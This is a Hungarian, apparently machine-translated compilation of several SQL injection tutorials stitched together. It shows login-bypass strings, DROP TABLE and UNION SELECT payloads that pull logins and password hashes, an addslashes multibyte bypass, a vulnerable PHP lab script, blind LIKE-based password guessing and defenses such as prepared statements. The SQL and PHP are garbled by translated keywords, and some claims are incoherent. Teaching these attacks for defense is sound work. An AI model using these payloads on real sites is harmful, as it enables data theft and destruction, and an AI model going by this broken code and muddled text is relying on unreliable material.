Ezután következik a látogatók személyes adatainak ellopása. Használatuknak csak a hacker fantáziája szab határt. De mindenesetre a következmények nem lesznek túl kellemesek. Főleg, ha pénzügyi információkat tartalmazott.

A támadó saját magának is kiszivárogtathatja az adatbázist, majd pénzt kicsikarhat a visszaszolgáltatásáért.

A felhasználók félretájékoztatása olyan személy nevében, aki nem ők, szintén negatív következményekkel járhat, mivel csalási esetek lehetségesek.

Következtetés

A cikkben szereplő összes információ csak tájékoztató jellegű. Csak saját projektjei tesztelésére használja a sebezhetőségek azonosítása és kiküszöbölése során.

Az SQL-befecskendezés módszertanának alaposabb tanulmányozásához először az SQL-nyelv képességeinek és szolgáltatásainak kutatásával kell kezdenie. A lekérdezések összeállítása, kulcsszavak, adattípusok és mindezek alkalmazása.

Nem nélkülözheti a PHP függvények és a HTML elemek működését. Az injekciók használatának fő sebezhető pontja a címsor, a keresés és a különböző mezők. A PHP függvények, azok megvalósításának és képességeinek tanulmányozása segít megérteni, hogyan kerülheti el a hibákat.

Számos kész szoftvereszköz jelenléte lehetővé teszi a webhely mélyreható elemzését az ismert sebezhetőségek tekintetében. Az egyik legnépszerűbb termék a kali linux. Ez egy Linux-alapú operációs rendszer képe, amely számos segédprogramot és programot tartalmaz, amelyek átfogó elemzést végezhetnek a webhelyről.

Miért kell tudnod, hogyan kell feltörni egy weboldalt? Minden nagyon egyszerű - ez szükséges ahhoz, hogy elképzelése legyen projektje vagy webhelye potenciálisan sebezhető területeiről. Különösen, ha ez egy online fizetési lehetőséggel rendelkező webáruház, ahol a felhasználó fizetési adatait a támadó veszélyeztetheti.

A professzionális kutatáshoz az információbiztonsági szolgálatok különböző szempontok és mélység szerint tudják majd ellenőrizni a helyszínt. Az egyszerű HTML-injektálástól kezdve a social engineeringig és az adathalászatig.

Sok sikert kívánunk a befejezéshez. A passzus eredményeit később tesszük közzé (kövesse a híreket a közösségi oldalakon), és mindazoknak, akik sikeresek, elküldjük a meghív regisztrálni az oldalon.

Tetszik, ossza meg barátaival és kollégáival, tegye közzé újra a közösségi hálózatokon.

Minden programozó olvasott vagy legalább hallott a webhelyek biztonságának feltörésének módszereiről. Vagy akár találkozott is ezzel a problémával. A helyszínt feltörni vágyók fantáziája viszont végtelen, ezért minden szűk keresztmetszetet jól védeni kell. Ezért szeretnék elindítani egy rövid cikksorozatot, amely bemutatja az alapvető webhely-hackelési módszereket és technikákat.

Az első cikkben szeretnék leírni és elmagyarázni néhány általános módszert az oldal egyik legsebezhetőbb részének - az űrlapok - feltörésére. Részletesen kitérek ezeknek a technikáknak a használatára és a támadások megelőzésére, valamint a biztonsági tesztelésre.

SQL injekció

Az SQL injekció egy olyan technika, amelyben a támadó SQL-parancsokat ír be a weboldal beviteli mezőjébe. Ez az imput bármi lehet - egy űrlap szövegmezője, _GET és _POST paraméterek, cookie-k stb. Ez a módszer nagyon hatékony volt a keretrendszerek megjelenése előtt a PHP világában. De ez a feltörés akkor is veszélyes lehet, ha nem használ ORM-et vagy más kiterjesztést az adatobjektumhoz. Miért? A paraméterek SQL lekérdezésnek való továbbításának módja miatt.

"Vak" injekciók

Kezdjük egy klasszikus példával egy olyan SQL-utasításra, amely visszaadja a felhasználót a bejelentkezési és jelszókivonatával (bejelentkezési oldal)

1. példa

mysql_query("SELECT id, bejelentkezés FROM felhasználóktól WHERE login = ? és jelszó = hash(?)");

Kérdőjeleket tettem a kifejezésbe a megoldás különböző változatai miatt. Véleményem szerint az első lehetőség a legsebezhetőbb:

1a. példa

Mysql_query("SELECT azonosító, bejelentkezés FROM felhasználóktól WHERE login = "" . $bejelentkezés . "" és jelszó = hash("" . $jelszó . "")");

Ebben az esetben a kód nem ellenőrzi az érvénytelen adatbevitelt. Az értékek közvetlenül a beviteli űrlapról kerülnek átadásra az SQL-lekérdezésnek. A legjobb esetben a felhasználó itt adja meg felhasználónevét és jelszavát. Mi a legrosszabb forgatókönyv? Próbáljuk meg feltörni ezt az űrlapot. Ezt "előkészített" adatok átadásával lehet megtenni. Próbáljunk meg első felhasználóként bejelentkezni az adatbázisból, és a legtöbb esetben ez az admin fiók. Ehhez egy speciális karakterláncot adunk át a bejelentkezési adatok megadása helyett:

"VAGY 1=1; --

Az első idézet lehet egyetlen idézet is, így előfordulhat, hogy egy feltörési kísérlet nem elég. A végén pontosvessző és két kötőjel található, így minden, ami utána jön, megjegyzéssé válik. Ennek eredményeként a következő SQL lekérdezés kerül végrehajtásra:

SELECT id, bejelentkezés FROM felhasználóktól WHERE login = ";" VAGY 1=1 KORLÁT 0,1; - és jelszó = hash(";Néhány jelszó"

Visszaadja az első felhasználót az adatbázisból, és esetleg bejelentkezik az alkalmazásba, mint a felhasználó. Jó lépés lenne a LIMIT hozzáadásával minden egyes felhasználóként bejelentkezni. Ez az egyetlen dolog, ami az egyes értékek áthaladásához szükséges.

Komolyabb módokon

Az előző példában nem minden olyan ijesztő. Az adminisztrációs vezérlőpultban a lehetőségek mindig korlátozottak, és sok munkát igényelne a webhely tényleges feltörése. De az SQL-injekción keresztül történő támadás sokkal nagyobb károkat okozhat a rendszerben. Gondolja át, hány alkalmazás jön létre a fő tábla "felhasználóival", és mi történne, ha egy támadó ilyen kódot írna be egy nem védett űrlapba:

Kedvenc bejelentkezésem"; DROP TABLE felhasználók; --

A "felhasználók" tábla törlődik. Ez az egyik oka annak, hogy gyakrabban készítsünk adatbázis-mentést.

_GET paraméterek

Az űrlapon kitöltött összes paraméter kétféle módszer - GET vagy POST - egyikével kerül továbbításra a szerverre. A GET-en keresztül leggyakrabban átadott paraméter az id. Ez az egyik legsebezhetőbb hely a támadásoknak, és nem mindegy, milyen típusú URL-t használ – ` http://example.com/ users/?id=1`, vagy ` http://example.com/ felhasználók/1`, vagy ` http://......./.../ hozzászólás/35 `.

Mi történik, ha beillesztjük a következő kódot az URL-be?

Http://example.com/users/?id=1 ÉS 1=0 UNION SELECT 1,concat(bejelentkezés,jelszó), 3,4,5,6 FROM felhasználóktól WHERE id =1; --

Valószínűleg egy ilyen kérés visszaadja a felhasználó bejelentkezési adatait és... a jelszó kivonatát. Az AND 1=0 kérés első része hamissá változtatja az előtte lévőt, így a rendszer nem fogad rekordokat. A kérelem második része pedig előre elkészített adatok formájában ad vissza adatokat. És mivel az első paraméter az id, a következő a felhasználó bejelentkezési adatai, a jelszavának kivonata és néhány egyéb paraméter lesz. Sok olyan program létezik, amely nyers erőt használ a példában szereplőhöz hasonló jelszó dekódolására. És mivel a felhasználó ugyanazt a jelszót használhatja különböző szolgáltatásokhoz, lehetőség van azokhoz való hozzáférésre.

És itt van, ami érdekes: teljesen lehetetlen védekezni az ilyen típusú támadások ellen olyan módszerekkel, mint a `mysql_real_escape_string`, `addslashes` stb. d. Alapvetően nem lehet elkerülni egy ilyen támadást, tehát ha a paramétereket így adjuk át:

"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

a problémák nem múlnak el.

Karakterek menekülése egy karakterláncban

Amikor még új voltam a programozásban, nehezen tudtam kódolással dolgozni. Nem értettem, hogy mi a különbség köztük, miért kell UTF-8-at használni, amikor UTF-16 kell, miért állítja be az adatbázis mindig latin1-re a kódolást. Amikor végre elkezdtem megérteni mindezt, rájöttem, hogy kevesebb probléma lenne, ha mindent egy kódolási szabványban tartanék. Mindezek válogatása közben olyan biztonsági problémákra is felfigyeltem, amelyek az egyik kódolásról a másikra való konvertálás során merülnek fel.

A legtöbb korábbi példában leírt problémák elkerülhetők egyetlen idézőjelek használatával a lekérdezésekben. Ha addslashes() -t használ, a fordított perjellel megkerült idézőjelekre támaszkodó SQL-befecskendezési támadások sikertelenek lesznek. De egy ilyen támadás működhet, ha egyszerűen behelyettesít egy karaktert a 0xbf27 kóddal, az addslashes() pedig 0xbf5c27 kódú karakterré alakítja - és ez egy teljesen érvényes szimpla idézőjeles karakter. Más szavakkal, a `뼧` átmegy az addslashes()-en, majd a MySQL-leképezés két karakterré alakítja át: 0xbf (¿) és 0x27 (').

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["bejelentkezés"]) . ";"";

Ez a példa feltörhető a 뼧 vagy az 1=1 átadásával; -- az űrlap bejelentkezési mezőjében. Az SQL motor a következő módon generálja a végső lekérdezést:

SELECT * FROM felhasználók WHERE login = "¿" VAGY 1=1; --

És visszaadja az első felhasználót az adatbázisból.

Védelem

Hogyan lehet megvédeni az alkalmazást? Nagyon sok olyan módszer létezik, amelyek használatával nem lesz teljesen sebezhetetlen az alkalmazás, de legalább növeli a biztonságát.

A mysql_real_escape_string használata

Az addslashes() függvény megbízhatatlan, mert nem teszi lehetővé sok hackelési esetet. A mysql_real_escape_stringnek nincsenek ilyen problémái

MySQLi használata

Ez a MySQL-bővítmény a kapcsolódó paraméterekkel működhet:

$stmt = $db->prepare("update uets set parameter = ? where id =?"); $stmt->bind_param("si", $név, $id); $stmt->execute();

OEM használata

Hosszú út a paraméterek helyettesítéséhez:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $felhasználó, $jelszó); $stmt = $dbh->prepare("INSERT INTO REGISTRY (név, érték) ÉRTÉKEK (:név, :érték)"); $stmt->bindParam(":név", $név); $stmt->bindParam(":érték", $érték); // egy sor beszúrása $name = "one"; $érték = 1; $stmt->execute();

Rövid út:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $felhasználó, $jelszó); $stmt = $dbh->prepare("FRISSÍTÉSE személyek SET name = :new_name WHERE id = :id"); $stmt->execute(array("új_név" => $név, "id" => $id));

ORM használata

Használja az ORM és PDO paramétereket, és bind (használjon bind) paramétereket. Kerülje az SQL-t a kódban, ha SQL-t lát a kódban, akkor valami nincs rendben vele.

Az ORM gondoskodik a kód- és paraméterellenőrzés szűk keresztmetszeteinek biztonságáról.

következtetéseket

Ennek a sorozatnak nem az a célja, hogy teljes útmutatót adjon a webhelyek feltöréséhez, hanem az alkalmazások biztonságának biztosítása és a bármilyen forrásból származó támadások megelőzése. Ezt a cikket nem csak programozóknak próbáltam megírni – ismerniük kell a kódban található fenyegetéseket, és tudniuk kell, hogyan lehet megelőzni őket, hanem minőségügyi mérnököknek is –, mert az ő feladatuk az ilyen problémák nyomon követése és jelentése.

Az SQL injekciók lényege

Valószínűleg már hallotta a viccet az internetről: " Miért ugyanaz minden rajzórán: Például egy bagoly rajzolás lecke. Először fél órán keresztül részletesen megrajzoljuk a bagolyszemet. És akkor - egyszer - öt perc alatt - megrajzoljuk a bagoly maradékát».

Még kép is van erről:

Rengeteg anyag található az SQL-injekciókkal kapcsolatban: cikkek, könyvek, videó tanfolyamok (fizetős és ingyenes). Azonban nem sokan adnak hozzá megértést ebben a kérdésben. Főleg ha kezdő vagy. Jól emlékszem az érzéseimre: itt a kör, itt van a bagoly többi része...

Ennek a megjegyzésnek az a célja, hogy a bagolyra húzza a szemét, hogy normális, egyszerű magyarázatot adjon, mik azok az SQL injekciók, mi a lényegük, mennyire veszélyesek és miért.

A kísérletekhez egy nagyon egyszerű szkriptünk lesz, amely sebezhető az SQL injekcióval szemben:

A Bobruisk regionális könyvtár eléréséhez adja meg hitelesítő adatait:

Adja meg nevét

Írd be a jelszavad


query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET karakterkészlet_kliens = UTF8"); $mysqli->query("SET karakterkészlet_kapcsolat = UTF8"); $mysqli->query("SET karakterkészlet_eredmények = UTF8"); ) $név = filter_input(INPUT_GET, "név"); $jelszó = filter_input(INPUT_GET, "jelszó"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE név = "$név" ÉS jelszó = $jelszó")) ( while ($obj = $eredmény->fetch_object()) ( echo "

A neved:$obj->név

Az Ön állapota:$obj->állapot

Az Ön számára elérhető könyvek:$obj->könyvek


"; ) ) else ( printf("Hiba: %sn", $mysqli->hiba); ) $mysqli->close(); ?>

Sokkal többet fogsz megérteni, ha mindent velem csinálsz. Szóval itt van. Két fájlt tartalmaz: index.phpÉs db_könyvtár.sql. Helyezze el az index.php fájlt bárhol a szerveren – ez a sebezhető szkriptünk. A db_library.sql fájlt pedig importálni kell, például a phpMyAdmin segítségével.

Az index.php fájlban az adatbázis-felhasználónév root-ra van állítva, a jelszó pedig üres. Adatait a sor szerkesztésével adhatja meg:

$mysqli = new mysqli("localhost", "root", "", "db_library");

A legenda szerint ez egy bejelentkezési űrlap a Bobruisk regionális könyvtár online verziójához. Már megkaptuk a hitelesítő adatokat: felhasználónév - Demo, jelszó - 111.

Írjuk be őket, és nézzük meg:

Megbízólevelünket elfogadtuk, a képernyőkön megjelenik a nevünk, állapotunk és a rendelkezésünkre álló könyveink. Megpróbálhatja, bármilyen más adattal (ha megváltoztatja a nevét vagy jelszavát), nem tudunk bejelentkezni és megtekinteni az olvasható könyveket. Azt sem tudjuk megtudni, hogy mely könyvek érhetők el mások számára, mert nem tudjuk a felhasználónevüket és jelszavukat.

Nézzük meg a forráskódot, hogy megértsük, hogyan történt az adatbáziskérés:
Szó KIVÁLASZTÁS SQL lekérdezésben megmutatja, milyen adatokat kell lekérni. Például megadhat SELECT nevet vagy SELECT nevet és jelszót. Ezután az első esetben csak a nevet kapjuk meg a táblázatból, a másodikban pedig csak a nevet és a jelszót. A csillag azt jelzi, hogy minden értéket be kell szereznie. Azok. SELECT * - ez azt jelenti, hogy az összes értéket megkapja.

TÓL TŐL megmondja, honnan kell beszerezni őket. A FROM után a tábla neve következik, azaz a FROM `members` bejegyzés azt mondja, hogy get from the `members` tábla.

További AHOL, ha tanult bármilyen programozási nyelvet, akkor ez a szó hasonlít leginkább az „If”-re. És akkor vannak feltételek, ezek lehetnek igazak (1) vagy hamisak (0). A mi esetünkben

(név = ‘$name’) ÉS (jelszó =’$jelszó’)

azt jelenti, hogy a feltétel akkor lesz igaz, ha az átadott $name változó megegyezik a táblában lévő név mező értékével, és a '$password átadott változó megegyezik a tábla jelszómezőjének értékével. Ha legalább egy feltétel nem teljesül (helytelen felhasználónév vagy jelszó), akkor a táblából semmi nem kerül ki, azaz a SELECT * FROM `members` WHERE név = '$név' ÉS jelszó ='$jelszó' azt jelenti, hogy : in a `members` táblában vegye fel az összes mező értékét, ha a feltétel teljesül - az átadott felhasználónév és jelszó megegyezik a táblázatban találhatóakkal.

Ez egyértelmű. Szúrjunk be például egyetlen idézetet a felhasználónévvel:

Címsor:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Nem érkezett adat, helyette egy hibát látunk:
A helyes adatok megadásakor a kérésünk így nézett ki:
Árajánlat hozzáadásával a lekérdezésünk a következő lesz:
További szóközöket teszek az áttekinthetőség kedvéért, azaz megkapjuk a kérést
Egyébként a kérés szintaxisában helyes. És közvetlenül utána, minden elválasztó nélkül, a kérés folytatódik:

"ÉS jelszó="111"

Ez az, ami mindent megtör, hiszen a nyitó és záró idézetek száma nem egyenlő. Beszúrhat például egy másik idézetet:
Címsor:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

A hiba megszűnt, de ez nem adott értelmet a kérésnek. A kérés értelmetlen farka zavar bennünket. Hogyan szabadulhatunk meg tőle?

Van válasz – ezek megjegyzések.

A MySQL-ben lévő megjegyzések háromféleképpen adhatók meg:

  1. # (hash - a sor végéig működik)
  2. - (két kötőjel - a sor végéig dolgozzon, két kötőjel után szóköz kell)
  3. /* ez egy megjegyzés */ négy karakterből álló csoport – minden benne egy megjegyzés, minden, ami előtte vagy utána szerepel, nem minősül megjegyzésnek.
Tegyünk egy megjegyzést a lekérdezésünkbe egy idézettel, ez után az idézet után teszünk egy megjegyzés jelet a farok elvetésére, és egy + jelet, amely szóközt jelöl, így a lekérdezés így alakul:
Címsor:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’-+&password=111

Nem csak a hiba tűnt el, hanem a megfelelő adatok is megjelentek a Demo felhasználó számára. Azóta kérésünk formát öltött
végül is a lófarok -+ ' ÉS jelszó ='111' megjegyzéssé vált, és már nincs hatással a kérésre.

Vessen egy pillantást az új kérésre:
És többé nem ellenőrzi a jelszót! Azok. A jogos felhasználók nevének ismeretében, de jelszavaik ismeretében megtekinthetjük személyes adataikat. Azok. Már elkezdtük az SQL injekció kihasználását.

Sajnos nem tudok törvényes neveket, és valami mást kell kitalálnom.

Nézzük meg közelebbről a kérésnek ezt a részét:
Emlékszel az első lekérdezésben használt ÉS-re? A logikai ÉS műveletet jelenti. Hadd emlékeztesselek arra, hogy az „ÉS” logikai művelet csak akkor adja ki az „igaz”-ot (1), ha mindkét kifejezés igaz. De az „OR” logikai operátor „igaz”-ot (1) állít elő, még akkor is, ha legalább az egyik kifejezés igaz. Azok. kifejezés
mindig igaz lesz, mindig 1-et ad vissza. Mivel a két összehasonlított kifejezés közül az egyik mindig 1-et ad vissza.

Azok. Létre kell hoznunk egy kifejezést, amely így néz ki:
Címsor:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ VAGY 1 -+ &password=111

Eredmény:

Az eredmény kiváló! Megkaptuk a táblázatban szereplő összes rekord listáját.

Az ORDER BY és az UNION az SQL injekciók fő barátai

Kaptunk már olyan adatokat, amelyekhez nem fértek hozzá azok, akik nem rendelkeztek érvényes felhasználónévvel és jelszóval. Kaphatok még valamit? Igen, ebből a táblázatból teljes kiíratást kaphat (hadd emlékeztessem önöket, még mindig nincsenek jelszavaink. Sőt, egyetlen apró lyukon keresztül minden adatot megkaphatunk ezen a szerveren az összes adatbázisból!

UNIÓ lehetővé teszi az SQL lekérdezések kombinálását. A való életben a feladataim egyszerűek, ezért egyszerű lekérdezések az adatbázisokhoz és a képességekhez UNIÓ nem használom. De az SQL-injekciókra nincs értékesebb szó, mint ez.

UNIÓ lehetővé teszi az SQL lekérdezések meglehetősen rugalmas kombinálását a SELECT-gel, beleértve a különböző adatbázisokból származó lekérdezéseket is. De van egy fontos szintaktikai követelmény: az első SELECT oszlopainak számának meg kell egyeznie a második SELECT oszlopainak számával.

RENDEZÉS beállítja a táblából kapott adatok rendezését. Az oszlop neve vagy száma szerint rendezheti. Ezenkívül, ha nincs ezzel a számmal rendelkező oszlop, hibaüzenet jelenik meg:

Címsor:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 1 -+ &password=111

A kérés így néz ki:
A felhasználónevet -1-re cseréltük, hogy ne jelenjenek meg adatok.

Nincs hiba, nincs hiba a kéréseknél sem
És itt a kérés
a címsornak felel meg

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 6 -+ &password=111

Hibát kaptam

Ez azt jelenti, hogy az adatok öt oszlopban kerülnek kiválasztásra a táblázatból.

Lekérdezésünket az UNION segítségével készítjük el:

Mint mondtam, a mezők számának azonosnak kell lennie mindkét SELECT-ben, de hogy ezekben a mezőkben mi van, az nem túl fontos. Például egyszerűen beírhat számokat – és ezek fognak megjelenni. NULL-t írhat be - akkor a mező helyett semmi sem jelenik meg.
Címsor:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &password=111

Az oszlopok számának meghatározásának másik módja ugyanazon UNION használata. Létra segítségével hozzáadjuk az oszlopok számát:
Mindegyik ugyanazt a hibát fogja produkálni:

Addig tegye ezt, amíg a hibaüzenet el nem tűnik.

Felhívjuk figyelmét, hogy egyes UNION SELECT 1,2,3,4,5 mezők tartalma megjelenik a képernyőn. Számok helyett függvényeket is megadhat.

Mit kell írni a SELECT-be

Vannak olyan függvények, amelyek közvetlenül írhatók az UNION-ba:

  • ADATBÁZIS()- az aktuális adatbázis nevének megjelenítése
  • JELENLEGI FELHASZNÁLÓ()- megjeleníti a felhasználónevet és a gazdagépnevet
  • @@datadir- megjeleníti az adatbázis abszolút elérési útját
  • FELHASZNÁLÓ()- Felhasználónév
  • VÁLTOZAT()- adatbázis verzió
Példánkban a 2., 4. és 5. mezők jelennek meg. e mezők bármelyikét használhatjuk.

A DATABASE() használata az UNION SELECT-ben

Cím:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,ADATBÁZIS() -+ &password=111

Eredmény:

Táblanevek, mezők és adatbázis dump lekérése

Az adatbázisban információs_séma nevű asztal van táblázatok. Ez a táblázat tartalmazza a kiszolgáló összes adatbázisában található összes tábla listáját. Táblázatainkat a mezőben keresve tudjuk kiválasztani táblázat_séma Adatbázisunk neve „db_library” (a nevet a DATABASE() segítségével találtuk meg).

Ezt hívják teljes UNION technikának. Az interneten rengeteg anyag található róla. A MySQL szerveremen a teljes UNION technika nem működik. Hibaüzenetet kapok
A karok görbülete miatt nem működik, mert ez a technika sem hoz eredményt az sqlmap esetében:

Valami hiba történt a teljes UNION technikával (lehet, hogy a letöltött bejegyzések száma korlátozott). Visszatérve a részleges UNION technikára

Ennek oka lehet a MySQL 5.6-os verziója. Mert Gyakorlati példákat nem tudok mondani, és nem érdekel mások hibás parancsainak átírása – most nélkülem is annyi „nagy teoretikus” van az interneten, amennyit csak akar, ezért úgy döntöttem, azonnal továbblépek figyelembe véve a részleges UNION technikát. De ez nem a legegyszerűbb technika, és a cikk már elég hosszú.

A cikk következő részében a részleges UNION technikát tanulmányozzuk, segítségével a szerveren található összes adatot megkapjuk: az adatbázisok neveit, ezekben a táblákban található tábláik és mezőik neveit, valamint azok tartalmát. . Amíg a második rész megjelenésére vársz, gyakorolj, olvass az SQL injekciókról és az UNION technikáról, az alábbi cikkeket is ajánljuk elolvasásra:

P.S. Ó, igen, elfelejtettem a LIMIT-et. Legközelebb a LIMIT szerepéről is beszélek az SQL-injekciókban.

Az SQL-befecskendezés – a rosszindulatú kód beágyazása az adatbázis-lekérdezésekbe – a támadások legveszélyesebb típusa. Az SQL-injekciók segítségével a támadó nemcsak személyes információkat szerezhet be az adatbázisból, hanem bizonyos feltételek mellett változtatásokat is végrehajthat ott.

Az SQL-befecskendezési sebezhetőség oka, hogy megfelelő feldolgozás nélkül felhasználói információk szerepelnek egy adatbázis-lekérdezésben: annak biztosítása érdekében, hogy a szkript ne legyen sebezhető, gondoskodni kell arról, hogy minden felhasználói adat az összes adatbázis-lekérdezésben megkerült formában kerüljön. Az univerzalitás követelménye a sarokköve: egy szkriptben elkövetett szabálysértés az egész rendszert sebezhetővé teszi.

Példa a sebezhetőségre

Tegyük fel, hogy van egy szkript, amely megjeleníti az adott város felhasználóinak listáját, és a városazonosítót veszi GET paraméternek. A szkript HTTP-n keresztül érhető el a /users.php?cityid=20 címen

A fenti szkriptben a fejlesztő beszúr egy GET paramétert az SQL lekérdezésbe, ami azt jelenti, hogy a GET paraméter mindig tartalmazni fog egy számot. A támadó átadhat egy karakterláncot paraméterként, és ezzel megronthatja a kérést. Például a /users.php?cityid=20; TÖRLÉS * A felhasználóktól
Az SQL lekérdezés így fog kinézni:

A kérés végrehajtásra kerül, és a szkript nem csak a megadott város felhasználóit adja vissza, hanem azon felhasználók listáját is, akiknek a jelszava a valódi neve helyett megjelenik.

Hogyan védd meg magad?

Tegyük idézőjelbe a felhasználói információkat. Ez segíteni fog?

A fenti példából láthatja, hogy nem elég az idézőjelek közé tenni. A karakterláncban található idézőjeleket is meg kell hagynia. Ehhez a PHP biztosítja a mysql_real_escape_string() függvényt, amely minden idézőjel, hátsó idézet és néhány más speciális karakter elé fordított perjelet ad. Nézzük a kódot:

Tehát az SQL-injektálások elleni védelem érdekében minden olyan külső paramétert, amely szöveget tartalmazhat, fel kell dolgozni mysql_real_escape_string() és idézőjelek közé vannak zárva.

Ha tudja, hogy egy paraméternek numerikus értéket kell felvennie, akkor a függvény segítségével kifejezetten numerikus formává alakíthatja intval() vagy floatval(). Ebben a példában a következőket használhatjuk:

$sql = "VÁLASZTÁSA felhasználónév, valódi név
A felhasználóktól
WHERE cityid=""
.intval ( $_GET ["cityid"] ) .""" ;

A mysql_real_escape_string() és a mysql_escape_string() közötti különbségek

A mysql_real_escape_string() a mysql_escape_string() függvény továbbfejlesztett változata, amelyet széles körben használnak biztonságos lekérdezések generálására a MySQL adatbázisban. A különbség a két függvény között az, hogy a mysql_real_escape_string() megfelelően működik többbyte-os kódolással.

Tegyük fel, hogy van egy karakter a feldolgozott adatokban (mondjuk az UTF-8-ban), amelynek kódja két bájtból áll - hexadecimális 27 és 2B (decimális 39, illetve 43). A mysql_escape_string() a neki továbbított adat minden egyes bájtját külön karakterként kezeli (pontosabban egy külön karakter kódjaként), és úgy dönt, hogy a 27. és 2B. bájtok sorozata két különböző karakter: egyetlen idézőjel (") és egy plusz (+). Mivel a függvény az idézetet speciális karakterként fogadja el, egy perjel (\) kerül a 27-es kódú bájt elé, ami valójában egy ártalmatlan karakter része. Ennek eredményeként az adatok a következő címre kerülnek az adatbázist torz formában.

Érdemes megjegyezni, hogy a mysql_real_escape_string() minden esetben megfelelően működik, és teljesen helyettesítheti a mysql_escape_string() függvényt.

A mysql_real_escape_string() a 4.3.0-s verzió óta elérhető PHP-ben.

További példák

Megnéztük a legegyszerűbb példát, de a gyakorlatban egy sérülékeny lekérdezés bonyolultabb lehet, és nem jeleníti meg eredményeit a felhasználó számára. Ezután néhány bonyolultabb esetben az SQL-befecskendezések példáit tekintjük meg, a teljesség igénye nélkül.

Injektálás összetett lekérdezésekben

A legegyszerűbb példában lehetőség volt kód beágyazására az SQL lekérdezés végére. A gyakorlatban egy SQL lekérdezés végén további feltételek, rendezési operátorok, csoportosítások és egyéb SQL konstrukciók lehetnek. Minden egyes esetben a támadó megpróbál egy rosszindulatú elemet beágyazni oly módon, hogy a kérés egésze szintaktikailag helyes maradjon, de más funkciót töltsön be. Itt egy további feltétellel rendelkező sebezhető kérés legegyszerűbb példáját tekintjük meg.

Ennek eredményeként az életkori állapot<35 nem befolyásolja a mintát, mert Az OR operátornak alacsonyabb a prioritása, mint az AND operátornak, és a fenti lekérdezés WHERE-je másként írható WHERE (cityid="20" ÉS 1 ) VAGY ("1" ÉS életkor<"35" ) (ne feledje, hogy a WHERE 1 kifejezés mindig igaz). Ennek eredményeként mind a cityid="20" sorok, mind az életkort tartalmazó sorok megfelelnek a feltételnek<35, причем наличие последних не обязательно.

Összetett lekérdezések esetén a sikeres SQL-befecskendezés némi kreativitást igényel, de a támadóktól elvárható némi kreativitás.

A lekérdezés eredményei nem jelennek meg a felhasználó számára

Előfordulhat, hogy az a lekérdezés, amelynek eredményei nem jelennek meg a felhasználó számára, sebezhető. Ez lehet például egy kiegészítő lekérdezés:

$sql = "SELECT count (*)
A felhasználóktól
WHERE felhasználói azonosító=""
.$_GET [ "felhasználói azonosító" ] .""" ;

A fenti lekérdezés csak egy adott felhasználói azonosítóval rendelkező felhasználó jelenlétét ellenőrzi: ha nullától eltérő értéket ad vissza, akkor a megfelelő felhasználói azonosítóval rendelkező felhasználói profil jelenik meg, de ha 0-t ad vissza (vagyis nincs olyan felhasználó, aki megfelelne kérési feltételek), a „felhasználó nem található” üzenet jelenik meg.

Ebben az esetben a jelszót (vagy más információt) nyers erő határozza meg. A támadó a karakterláncot adja át felhasználói azonosító paraméterként 2" ÉS jelszó, mint "a%. Végső kérés:

SELECT count (*) FROM userid WHERE userid="2" ÉS jelszó, MINT "a%"

A támadó a "felhasználó nem található" üzenetet kapja, ha a jelszó nem "a" betűvel kezdődik, vagy a szokásos felhasználói profiloldalt, ellenkező esetben. A jelszó első betűjét nyers erő határozza meg, majd a másodikat stb.

következtetéseket

  • Minden külső adatot használó lekérdezést védeni kell az SQL-injektálástól. Külső adatok nem csak GET paraméterként továbbíthatók, hanem POST módszerrel is, COOKIE-ból, harmadik fél oldalairól, vagy olyan adatbázisból, amelybe a felhasználónak lehetősége volt információkat bevinni.
  • Minden numerikus paramétert kifejezetten numerikus formára kell konvertálni függvények segítségével intval()És floatval()
  • Minden karakterlánc-paramétert meg kell szüntetni mysql_real_escape_string()és tedd idézőjelbe.
  • Ha az SQL-befecskendezés létrehozása nehéz, ne számítson arra, hogy a támadó nem fogja kitalálni, hogyan kell ezt megtenni. Ez különösen vonatkozik azokra a motorokra, amelyek forráskódja nyilvános.

Sok sikert a biztonságos alkalmazások készítéséhez!